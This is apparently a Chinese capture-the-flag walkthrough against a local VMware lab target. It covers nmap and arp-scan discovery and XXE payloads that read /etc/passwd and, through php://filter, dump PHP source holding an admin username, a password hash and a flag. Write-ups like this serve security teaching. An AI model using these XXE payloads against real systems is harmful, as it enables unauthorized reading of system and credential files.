┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.177.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 15:29 CST
Nmap scan report for 192.168.177.1
Host is up (0.0024s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.177.2
Host is up (0.0019s latency).
MAC Address: 00:50:56:F6:B2:84 (VMware)
Nmap scan report for 192.168.177.131
Host is up (0.0014s latency).
MAC Address: 00:0C:29:C1:C0:28 (VMware)
Nmap scan report for 192.168.177.254
Host is up (0.00056s latency).
MAC Address: 00:50:56:E4:4D:D7 (VMware)
Nmap scan report for 192.168.177.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.28 seconds
或者用Linux的arp-scan也行，（arp-scan -l）
结果如下：
Text Only
1 2 3 4 5 6 7 8 91011
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fd:d2:9f, IPv4: 192.168.177.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.177.1 00:50:56:c0:00:08 VMware, Inc.
192.168.177.2 00:50:56:f6:b2:84 VMware, Inc.
192.168.177.131 00:0c:29:c1:c0:28 VMware, Inc.
192.168.177.254 00:50:56:e7:ae:65 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.447 seconds (104.62 hosts/sec). 4 responded
┌──(root㉿kali)-[~]
└─# nmap 192.168.177.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 15:36 CST
Nmap scan report for 192.168.177.131
Host is up (0.00075s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:C1:C0:28 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>
可以看到成功返回了ect/passwd的内容，说明存在XXE漏洞。
解读一下这段XML代码：
这段XML代码是一个简单的XML文档，用于表示数据。让我们逐行来解释它：
<?xml version="1.0" ?>: 这是XML声明，它指定了XML文档的版本。
<!DOCTYPE r [: 这是文档类型定义（Document Type Definition，DTD）的开始。它定义了XML文档中可以使用的元素以及它们的结构。
<!ELEMENT r ANY >: 这是DTD中的元素声明，它定义了名为"r"的元素。在这里，"r"元素被声明为可以包含任意内容。
<!ENTITY sp SYSTEM "file:///etc/passwd">: 这是DTD中的实体声明，它定义了名为"sp"的实体。在这里，"sp"实体被声明为引用了一个名为"file:///etc/passwd"的系统文件。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>
得到的关键数据如下：
PHP
1 2 3 4 5 6 7 8 910111213141516171819202122
<?php$msg='';if(isset($_POST['login'])&&!empty($_POST['username'])&&!empty($_POST['password'])){if($_POST['username']=='administhebest'&&md5($_POST['password'])=='e6e061838856bf47e1de730719fb2609'){$_SESSION['valid']=true;$_SESSION['timeout']=time();$_SESSION['username']='administhebest';echo"You have entered valid use name and password <br />";$flag="Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";echo$flag;}else{$msg='Maybe Later';}}
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>
结果如下：
PHP
1234
<?php$flag="<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";echo$flag;?>